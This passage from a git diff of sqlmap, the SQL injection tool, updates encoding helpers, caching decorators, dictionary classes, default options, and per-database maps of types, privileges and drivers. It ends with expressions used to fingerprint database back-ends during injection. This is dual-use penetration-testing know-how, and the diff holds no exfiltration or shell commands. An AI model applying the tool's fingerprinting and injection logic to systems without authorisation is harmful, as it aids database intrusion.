sys.getfilesystemencoding())) + if all(_ in value for _ in (b'<', b'>')): + pass + elif b'\n' not in value and re.search(r"(?i)\w+\.\w{2,3}\Z|\A(\w:\\|/\w+)", six.text_type(value, UNICODE_ENCODING, errors="ignore")): + candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) + elif conf.get("encoding") and b'\n' not in value: + candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) + + for candidate in candidates: + try: + return six.text_type(value, candidate) + except (UnicodeDecodeError, LookupError): + pass + + try: + return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) + except UnicodeDecodeError: + return six.text_type(value, UNICODE_ENCODING, errors="reversible") + elif isListLike(value): + value = list(getUnicode(_, encoding, noneToNull) for _ in value) + return value + else: + try: + return six.text_type(value) + except UnicodeDecodeError: + return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances - >>> dejsonize('{\\n "foo": "bar"\\n}') - {u'foo': u'bar'} +def getText(value, encoding=None): """ + Returns textual value of a given value (Note: not necessary Unicode on Python2) - return json.loads(data) + >>> getText(b"foobar") + 'foobar' + >>> isinstance(getText(u"fo\\u2299bar"), six.text_type) + True + """ + + retVal = value + + if isinstance(value, six.binary_type): + retVal = getUnicode(value, encoding) + + if six.PY2: + try: + retVal = str(retVal) + except: + pass + + return retVal + +def stdoutEncode(value): + """ + Returns textual representation of a given value safe for writing to stdout + >>> stdoutEncode(b"foobar") + 'foobar' + >>> stdoutEncode({"url": "http://example.com/foo", "data": "id=1"}) == {"url": "http://example.com/foo", "data": "id=1"} + True + """ + + if value is None: + value = "" + + if IS_WIN and IS_TTY and kb.get("codePage", -1) is None: + output = shellExec("chcp") + match = re.search(r": (\d{3,})", output or "") + + if match: + try: + candidate = "cp%s" % match.group(1) + codecs.lookup(candidate) + kb.codePage = candidate + except (LookupError, TypeError): + pass + + kb.codePage = kb.codePage or "" + + encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING + + if six.PY3: + if isinstance(value, (bytes, bytearray)): + value = getUnicode(value, encoding) + elif not isinstance(value, str): + # Reference: https://github.com/sqlmapproject/sqlmap/issues/6054 + return value + + try: + retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace") + except (LookupError, TypeError): + retVal = value.encode("ascii", errors="replace").decode("ascii", errors="replace") + else: + if isinstance(value, six.text_type): + try: + retVal = value.encode(encoding, errors="replace") + except (LookupError, TypeError): + retVal = value.encode("ascii", errors="replace") + else: + retVal = value + + return retVal + +# str.isascii() is available on Python 3.7+ only (sqlmap still supports 2.7) +_HAS_ISASCII = hasattr(str, "isascii") + +def getConsoleLength(value): + """ + Returns console width of unicode values + + >>> getConsoleLength("abc") + 3 + >>> getConsoleLength(u"\\u957f\\u6c5f") + 4 + """ + + if isinstance(value, six.text_type): + # Fast path: ASCII values have no wide (>= U+3000) characters, so their + # console width is simply their length. str.isascii() (Python 3.7+) is a + # C-level scan, far cheaper than the per-character generator below (which + # stays for the rare wide-character case and for Python 2). This runs + # once per dumped cell, so it dominates large table dumps. + if _HAS_ISASCII and value.isascii(): + retVal = len(value) + else: + retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) + else: + retVal = len(value) + + return retVal diff --git a/lib/core/data.py b/lib/core/data.py index bb45072ff9e..5523a60c49a 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 29295727b45..f667c0cd9e1 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,49 +1,65 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import copy -import types +import threading -from lib.core.exception import SqlmapDataException +from collections import OrderedDict +from thirdparty.six.moves import collections_abc as _collections class AttribDict(dict): """ - This class defines the sqlmap object, inheriting from Python data - type dictionary. + This class defines the dictionary with added capability to access members as attributes >>> foo = AttribDict() >>> foo.bar = 1 >>> foo.bar 1 + >>> import copy; copy.deepcopy(foo).bar + 1 """ - def __init__(self, indict=None, attribute=None): + def __init__(self, indict=None, attribute=None, keycheck=True): if indict is None: indict = {} - # Set any attributes here - before initialisation - # these remain as normal attributes - self.attribute = attribute dict.__init__(self, indict) - self.__initialised = True - - # After initialisation, setting attributes - # is the same as setting an item + self.__dict__["_attribute"] = attribute + self.__dict__["_keycheck"] = keycheck + self.__dict__["_initialized"] = True def __getattr__(self, item): """ Maps values to attributes Only called if there *is NOT* an attribute with this name """ + if item.startswith('__') and item.endswith('__'): + raise AttributeError(item) try: return self.__getitem__(item) except KeyError: - raise SqlmapDataException("unable to access item '%s'" % item) + if self.__dict__.get("_keycheck"): + raise AttributeError("unable to access item '%s'" % item) + else: + return None + + def __delattr__(self, item): + """ + Deletes attributes + """ + + try: + return self.pop(item) + except KeyError: + if self.__dict__.get("_keycheck"): + raise AttributeError("unable to access item '%s'" % item) + else: + return None def __setattr__(self, item, value): """ @@ -51,14 +67,8 @@ def __setattr__(self, item, value): Only if we are initialised """ - # This test allows attributes to be set in the __init__ method - if "_AttribDict__initialised" not in self.__dict__: - return dict.__setattr__(self, item, value) - - # Any normal attributes are handled normally - elif item in self.__dict__: - dict.__setattr__(self, item, value) - + if "_initialized" not in self.__dict__ or item in self.__dict__: + self.__dict__[item] = value else: self.__setitem__(item, value) @@ -69,14 +79,12 @@ def __setstate__(self, dict): self.__dict__ = dict def __deepcopy__(self, memo): - retVal = self.__class__() + retVal = self.__class__(keycheck=self.__dict__.get("_keycheck")) memo[id(self)] = retVal - for attr in dir(self): - if not attr.startswith('_'): - value = getattr(self, attr) - if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): - setattr(retVal, attr, copy.deepcopy(value, memo)) + for attr, value in self.__dict__.items(): + if attr not in ('_attribute', '_keycheck', '_initialized'): + setattr(retVal, attr, copy.deepcopy(value, memo)) for key, value in self.items(): retVal.__setitem__(key, copy.deepcopy(value, memo)) @@ -84,8 +92,8 @@ def __deepcopy__(self, memo): return retVal class InjectionDict(AttribDict): - def __init__(self): - AttribDict.__init__(self) + def __init__(self, **kwargs): + AttribDict.__init__(self, **kwargs) self.place = None self.parameter = None @@ -93,6 +101,7 @@ def __init__(self): self.prefix = None self.suffix = None self.clause = None + self.notes = [] # Note: https://github.com/sqlmapproject/sqlmap/issues/1888 # data is a dict with various stype, each which is a dict with # all the information specific for that stype @@ -105,3 +114,129 @@ def __init__(self): self.dbms = None self.dbms_version = None self.os = None + +# Reference: https://www.kunxi.org/2014/05/lru-cache-in-python +class LRUDict(object): + """ + This class defines the LRU dictionary + + >>> foo = LRUDict(capacity=2) + >>> foo["first"] = 1 + >>> foo["second"] = 2 + >>> foo["third"] = 3 + >>> "first" in foo + False + >>> "third" in foo + True + """ + + def __init__(self, capacity): + self.capacity = capacity + self.cache = OrderedDict() + self.__lock = threading.Lock() + + def __len__(self): + return len(self.cache) + + def __contains__(self, key): + return key in self.cache + + def __getitem__(self, key): + with self.__lock: + value = self.cache.pop(key) + self.cache[key] = value + return value + + def get(self, key, default=None): + try: + return self.__getitem__(key) + except (KeyError, TypeError): + return default + + def __setitem__(self, key, value): + with self.__lock: + try: + self.cache.pop(key) + except KeyError: + if len(self.cache) >= self.capacity: + self.cache.popitem(last=False) + self.cache[key] = value + + def set(self, key, value): + self.__setitem__(key, value) + + def keys(self): + return self.cache.keys() + +# Reference: https://code.activestate.com/recipes/576694/ +class OrderedSet(_collections.MutableSet): + """ + This class defines the set with ordered (as added) items + + >>> foo = OrderedSet() + >>> foo.add(1) + >>> foo.add(2) + >>> foo.add(3) + >>> foo.pop() + 3 + >>> foo.pop() + 2 + >>> foo.pop() + 1 + """ + + def __init__(self, iterable=None): + self.end = end = [] + end += [None, end, end] # sentinel node for doubly linked list + self.map = {} # key --> [key, prev, next] + if iterable is not None: + self |= iterable + + def __len__(self): + return len(self.map) + + def __contains__(self, key): + return key in self.map + + def add(self, value): + if value not in self.map: + end = self.end + curr = end[1] + curr[2] = end[1] = self.map[value] = [value, curr, end] + + def discard(self, value): + if value in self.map: + value, prev, next = self.map.pop(value) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def pop(self, last=True): + if not self: + raise KeyError('set is empty') + key = self.end[1][0] if last else self.end[2][0] + self.discard(key) + return key + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, list(self)) + + def __eq__(self, other): + if isinstance(other, OrderedSet): + return len(self) == len(other) and list(self) == list(other) + return set(self) == set(other) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 8fa7b03b172..aa6c1a850b0 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,24 +1,137 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -def cachedmethod(f, cache={}): +import functools +import threading + +from lib.core.datatype import LRUDict +from lib.core.settings import MAX_CACHE_ITEMS +from lib.core.threads import getCurrentThreadData + +_cache = {} +_method_locks = {} + +# Private marker prefixing the slow-path (frozen) cache key so it can never collide with a raw +# fast-path key: without it e.g. args ([1,2],) freezes to ((1,2),), the exact fast key of ((1,2),), +# and the two calls would share a cache slot and return each other's result +_FROZEN_KEY_MARKER = object() + +def cachedmethod(f): """ Method with a cached content + >>> __ = cachedmethod(lambda _: _) + >>> __(1) + 1 + >>> __(1) + 1 + >>> __ = cachedmethod(lambda *args, **kwargs: args[0]) + >>> __(2) + 2 + >>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values()))) + >>> __(foobar=3) + 3 + Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ """ + _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS) + _method_locks[f] = threading.RLock() + + def _freeze(val): + if isinstance(val, (list, set, tuple)): + return tuple(_freeze(x) for x in val) + if isinstance(val, dict): + return tuple(sorted((k, _freeze(v)) for k, v in val.items())) + return val + + @functools.wraps(f) + def _f(*args, **kwargs): + lock, cache = _method_locks[f], _cache[f] + + try: + if kwargs: + key = (args, frozenset(kwargs.items())) + else: + key = args + + with lock: + if key in cache: + return cache[key] + + except TypeError: + # Note: fallback (slow-path) for unhashable arguments + try: + if kwargs: + key = (_FROZEN_KEY_MARKER, _freeze(args), _freeze(kwargs)) + else: + key = (_FROZEN_KEY_MARKER, _freeze(args)) + + with lock: + if key in cache: + return cache[key] + except TypeError: + # Note: genuinely uncacheable arguments; skip caching altogether + return f(*args, **kwargs) + + result = f(*args, **kwargs) + + with lock: + cache[key] = result + + return result + + return _f + +def stackedmethod(f): + """ + Method using pushValue/popValue functions (fallback function for stack realignment) + + >>> threadData = getCurrentThreadData() + >>> original = len(threadData.valueStack) + >>> __ = stackedmethod(lambda _: threadData.valueStack.append(_)) + >>> __(1) + >>> len(threadData.valueStack) == original + True + """ + + @functools.wraps(f) def _(*args, **kwargs): + threadData = getCurrentThreadData() + originalLevel = len(threadData.valueStack) + try: - key = (f, tuple(args), frozenset(kwargs.items())) - except: - key = "".join(str(_) for _ in (f, args, kwargs)) - if key not in cache: - cache[key] = f(*args, **kwargs) - return cache[key] + result = f(*args, **kwargs) + finally: + if len(threadData.valueStack) > originalLevel: + del threadData.valueStack[originalLevel:] + + return result + + return _ + +def lockedmethod(f): + """ + Decorates a function or method with a reentrant lock (only one thread can execute the function at a time) + + >>> @lockedmethod + ... def recursive_count(n): + ... if n <= 0: return 0 + ... return n + recursive_count(n - 1) + >>> recursive_count(5) + 15 + """ + + lock = threading.RLock() + + @functools.wraps(f) + def _(*args, **kwargs): + with lock: + result = f(*args, **kwargs) + return result return _ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 6adecbe25fa..743ab6a26b9 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,28 +1,29 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict _defaults = { - "csvDel": ",", - "timeSec": 5, - "googlePage": 1, - "cpuThrottle": 5, - "verbose": 1, - "delay": 0, - "timeout": 30, - "retries": 3, - "saFreq": 0, - "threads": 1, - "level": 1, - "risk": 1, - "dumpFormat": "CSV", - "tech": "BEUSTQ", - "torType": "HTTP", + "csvDel": ',', + "timeSec": 5, + "googlePage": 1, + "verbose": 1, + "delay": 0, + "timeout": 30, + "retries": 3, + "csrfRetries": 0, + "safeFreq": 0, + "threads": 1, + "level": 1, + "risk": 1, + "dumpFormat": "CSV", + "tablePrefix": "sqlmap", + "technique": "BEUSTQ", + "torType": "SOCKS5", } defaults = AttribDict(_defaults) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 47e316e87e6..53fe36f4716 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,239 +1,720 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.enums import CONTENT_TYPE from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import POST_HINT +from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import BLANK -from lib.core.settings import NULL +from lib.core.settings import CACHE_ALIASES +from lib.core.settings import CRATEDB_ALIASES +from lib.core.settings import CUBRID_ALIASES +from lib.core.settings import DB2_ALIASES +from lib.core.settings import DERBY_ALIASES +from lib.core.settings import EXTREMEDB_ALIASES +from lib.core.settings import FIREBIRD_ALIASES +from lib.core.settings import FRONTBASE_ALIASES +from lib.core.settings import H2_ALIASES +from lib.core.settings import HANA_ALIASES +from lib.core.settings import HSQLDB_ALIASES +from lib.core.settings import INFORMIX_ALIASES +from lib.core.settings import MAXDB_ALIASES +from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MIMERSQL_ALIASES +from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES -from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import NULL from lib.core.settings import ORACLE_ALIASES +from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import PRESTO_ALIASES +from lib.core.settings import RAIMA_ALIASES from lib.core.settings import SQLITE_ALIASES -from lib.core.settings import ACCESS_ALIASES -from lib.core.settings import FIREBIRD_ALIASES -from lib.core.settings import MAXDB_ALIASES from lib.core.settings import SYBASE_ALIASES -from lib.core.settings import DB2_ALIASES -from lib.core.settings import HSQLDB_ALIASES +from lib.core.settings import VERTICA_ALIASES +from lib.core.settings import VIRTUOSO_ALIASES +from lib.core.settings import CLICKHOUSE_ALIASES +from lib.core.settings import SNOWFLAKE_ALIASES +from lib.core.settings import SPANNER_ALIASES FIREBIRD_TYPES = { - "261": "BLOB", - "14": "CHAR", - "40": "CSTRING", - "11": "D_FLOAT", - "27": "DOUBLE", - "10": "FLOAT", - "16": "INT64", - "8": "INTEGER", - "9": "QUAD", - "7": "SMALLINT", - "12": "DATE", - "13": "TIME", - "35": "TIMESTAMP", - "37": "VARCHAR", - } + 261: "BLOB", + 14: "CHAR", + 40: "CSTRING", + 11: "D_FLOAT", + 27: "DOUBLE", + 10: "FLOAT", + 16: "INT64", + 8: "INTEGER", + 9: "QUAD", + 7: "SMALLINT", + 12: "DATE", + 13: "TIME", + 35: "TIMESTAMP", + 37: "VARCHAR", +} + +INFORMIX_TYPES = { + 0: "CHAR", + 1: "SMALLINT", + 2: "INTEGER", + 3: "FLOAT", + 4: "SMALLFLOAT", + 5: "DECIMAL", + 6: "SERIAL", + 7: "DATE", + 8: "MONEY", + 9: "NULL", + 10: "DATETIME", + 11: "BYTE", + 12: "TEXT", + 13: "VARCHAR", + 14: "INTERVAL", + 15: "NCHAR", + 16: "NVARCHAR", + 17: "INT8", + 18: "SERIAL8", + 19: "SET", + 20: "MULTISET", + 21: "LIST", + 22: "ROW (unnamed)", + 23: "COLLECTION", + 40: "Variable-length opaque type", + 41: "Fixed-length opaque type", + 43: "LVARCHAR", + 45: "BOOLEAN", + 52: "BIGINT", + 53: "BIGSERIAL", + 2061: "IDSSECURITYLABEL", + 4118: "ROW (named)", +} SYBASE_TYPES = { - "14": "floatn", - "8": "float", - "15": "datetimn", - "12": "datetime", - "23": "real", - "28": "numericn", - "10": "numeric", - "27": "decimaln", - "26": "decimal", - "17": "moneyn", - "11": "money", - "21": "smallmoney", - "22": "smalldatetime", - "13": "intn", - "7": "int", - "6": "smallint", - "5": "tinyint", - "16": "bit", - "2": "varchar", - "18": "sysname", - "25": "nvarchar", - "1": "char", - "24": "nchar", - "4": "varbinary", - "80": "timestamp", - "3": "binary", - "19": "text", - "20": "image", - } + 14: "floatn", + 8: "float", + 15: "datetimn", + 12: "datetime", + 23: "real", + 28: "numericn", + 10: "numeric", + 27: "decimaln", + 26: "decimal", + 17: "moneyn", + 11: "money", + 21: "smallmoney", + 22: "smalldatetime", + 13: "intn", + 7: "int", + 6: "smallint", + 5: "tinyint", + 16: "bit", + 2: "varchar", + 18: "sysname", + 25: "nvarchar", + 1: "char", + 24: "nchar", + 4: "varbinary", + 80: "timestamp", + 3: "binary", + 19: "text", + 20: "image", +} + +ALTIBASE_TYPES = { + 1: "CHAR", + 12: "VARCHAR", + -8: "NCHAR", + -9: "NVARCHAR", + 2: "NUMERIC", + 6: "FLOAT", + 8: "DOUBLE", + 7: "REAL", + -5: "BIGINT", + 4: "INTEGER", + 5: "SMALLINT", + 9: "DATE", + 30: "BLOB", + 40: "CLOB", + 20001: "BYTE", + 20002: "NIBBLE", + -7: "BIT", + -100: "VARBIT", + 10003: "GEOMETRY", +} MYSQL_PRIVS = { - 1: "select_priv", - 2: "insert_priv", - 3: "update_priv", - 4: "delete_priv", - 5: "create_priv", - 6: "drop_priv", - 7: "reload_priv", - 8: "shutdown_priv", - 9: "process_priv", - 10: "file_priv", - 11: "grant_priv", - 12: "references_priv", - 13: "index_priv", - 14: "alter_priv", - 15: "show_db_priv", - 16: "super_priv", - 17: "create_tmp_table_priv", - 18: "lock_tables_priv", - 19: "execute_priv", - 20: "repl_slave_priv", - 21: "repl_client_priv", - 22: "create_view_priv", - 23: "show_view_priv", - 24: "create_routine_priv", - 25: "alter_routine_priv", - 26: "create_user_priv", - } + 1: "select_priv", + 2: "insert_priv", + 3: "update_priv", + 4: "delete_priv", + 5: "create_priv", + 6: "drop_priv", + 7: "reload_priv", + 8: "shutdown_priv", + 9: "process_priv", + 10: "file_priv", + 11: "grant_priv", + 12: "references_priv", + 13: "index_priv", + 14: "alter_priv", + 15: "show_db_priv", + 16: "super_priv", + 17: "create_tmp_table_priv", + 18: "lock_tables_priv", + 19: "execute_priv", + 20: "repl_slave_priv", + 21: "repl_client_priv", + 22: "create_view_priv", + 23: "show_view_priv", + 24: "create_routine_priv", + 25: "alter_routine_priv", + 26: "create_user_priv", +} PGSQL_PRIVS = { - 1: "createdb", - 2: "super", - 3: "catupd", - } + 1: "createdb", + 2: "super", + 3: "replication", +} # Reference(s): http://stackoverflow.com/a/17672504 # http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES FIREBIRD_PRIVS = { - "S": "SELECT", - "I": "INSERT", - "U": "UPDATE", - "D": "DELETE", - "R": "REFERENCE", - "E": "EXECUTE", - "X": "EXECUTE", - "A": "ALL", - "M": "MEMBER", - "T": "DECRYPT", - "E": "ENCRYPT", - "B": "SUBSCRIBE", - } + "S": "SELECT", + "I": "INSERT", + "U": "UPDATE", + "D": "DELETE", + "R": "REFERENCE", + "X": "EXECUTE", + "A": "ALL", + "M": "MEMBER", + "T": "DECRYPT", + "E": "ENCRYPT", + "B": "SUBSCRIBE", +} + +# Reference(s): https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sqls.doc/ids_sqs_0147.htm +# https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_077.htm + +INFORMIX_PRIVS = { + "D": "DBA (all privileges)", + "R": "RESOURCE (create UDRs, UDTs, permanent tables and indexes)", + "C": "CONNECT (work with existing tables)", + "G": "ROLE", + "U": "DEFAULT (implicit connection)", +} DB2_PRIVS = { - 1: "CONTROLAUTH", - 2: "ALTERAUTH", - 3: "DELETEAUTH", - 4: "INDEXAUTH", - 5: "INSERTAUTH", - 6: "REFAUTH", - 7: "SELECTAUTH", - 8: "UPDATEAUTH", - } + 1: "CONTROLAUTH", + 2: "ALTERAUTH", + 3: "DELETEAUTH", + 4: "INDEXAUTH", + 5: "INSERTAUTH", + 6: "REFAUTH", + 7: "SELECTAUTH", + 8: "UPDATEAUTH", +} DUMP_REPLACEMENTS = {" ": NULL, "": BLANK} DBMS_DICT = { - DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "mssql+pymssql"), - DBMS.MYSQL: (MYSQL_ALIASES, "python pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"), - DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"), - DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"), - DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"), - DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/", "access"), - DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"), - DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), - DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"), - DBMS.DB2: (DB2_ALIASES, "python ibm-db", "http://code.google.com/p/ibm-db/", "ibm_db_sa"), - DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), - } + DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"), + DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"), + DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), + DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"), + DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"), + DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), + DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python3-firebirdsql", "https://github.com/nakagami/pyfirebirdsql/", "firebird"), + DBMS.MAXDB: (MAXDB_ALIASES, None, None, None), # 'maxdb'/'sapdb' SQLAlchemy dialect was removed long ago; a dead dialect only produces a misleading warning + DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", None), # 'sybase' SQLAlchemy dialect was removed in 1.4 (external replacement abandoned); pymssql/dbwire cover '-d', so a dead dialect only wastes an attempt and shows a misleading warning + DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), + DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), + DBMS.H2: (H2_ALIASES, None, None, None), + DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), + DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), + DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), + DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), + DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), + DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), + DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), + DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), + DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None), + DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), + DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), + DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), + DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None), + DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None), + DBMS.RAIMA: (RAIMA_ALIASES, None, None, None), + DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None), + DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"), + DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"), + DBMS.HANA: (HANA_ALIASES, "hdbcli", "https://pypi.org/project/hdbcli/", "hana"), +} + +# DBMS -> pure-python 'extra/dbwire' wire-protocol module, used as a dependency-free '-d' fallback when +# neither a native driver nor SQLAlchemy is installed (a single module serves the whole compatible family, +# e.g. 'postgres' also covers CockroachDB/CrateDB/Redshift/Greenplum) +DBWIRE_MODULES = { + DBMS.PGSQL: "postgres", + DBMS.CRATEDB: "postgres", # CrateDB speaks the PostgreSQL wire protocol + DBMS.MYSQL: "mysql", + DBMS.MSSQL: "tds", + DBMS.SYBASE: "tds", + DBMS.CLICKHOUSE: "clickhouse", + DBMS.MONETDB: "monetdb", + DBMS.PRESTO: "presto", + DBMS.FIREBIRD: "firebird", + DBMS.VERTICA: "postgres", # Vertica speaks a PostgreSQL-v3-derived wire protocol (trust/cleartext/md5 auth) + DBMS.CUBRID: "cubrid", +} +# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ FROM_DUMMY_TABLE = { - DBMS.ORACLE: " FROM DUAL", - DBMS.ACCESS: " FROM MSysAccessObjects", - DBMS.FIREBIRD: " FROM RDB$DATABASE", - DBMS.MAXDB: " FROM VERSIONS", - DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", - DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS" - } + DBMS.ORACLE: " FROM DUAL", + DBMS.ACCESS: " FROM MSysAccessObjects", + DBMS.FIREBIRD: " FROM RDB$DATABASE", + DBMS.MAXDB: " FROM DUAL", + DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", + DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", + DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", + DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1", + DBMS.MIMERSQL: " FROM SYSTEM.ONEROW", + DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS", + DBMS.HANA: " FROM DUMMY" +} + +HEURISTIC_NULL_EVAL = { + DBMS.ACCESS: "CVAR(NULL)", + DBMS.MAXDB: "ALPHA(NULL)", + DBMS.MSSQL: "PARSENAME(NULL,NULL)", + DBMS.SYBASE: "STR_REPLACE(NULL,'x','x')", # ASE extension (MSSQL has REPLACE); doc-derived, not live-tested. Also SAP IQ / SQL Anywhere (not in DBMS) + DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0 + DBMS.ORACLE: "INSTR2(NULL,NULL)", + DBMS.PGSQL: "QUOTE_IDENT(NULL)", + DBMS.SQLITE: "JULIANDAY(NULL)", + DBMS.H2: "STRINGTOUTF8(NULL)", + DBMS.MONETDB: "CODE(NULL)", + DBMS.DERBY: "NULLIF(USER,SESSION_USER)", # not Derby-specific; safe only because DB2 (shares this dummy) is tested first + DBMS.DB2: "MULTIPLY_ALT(NULL,NULL)", # DB2-unique (Derby shares the dummy, not this function) + DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)", + DBMS.MCKOI: "TONUMBER(NULL)", + DBMS.PRESTO: 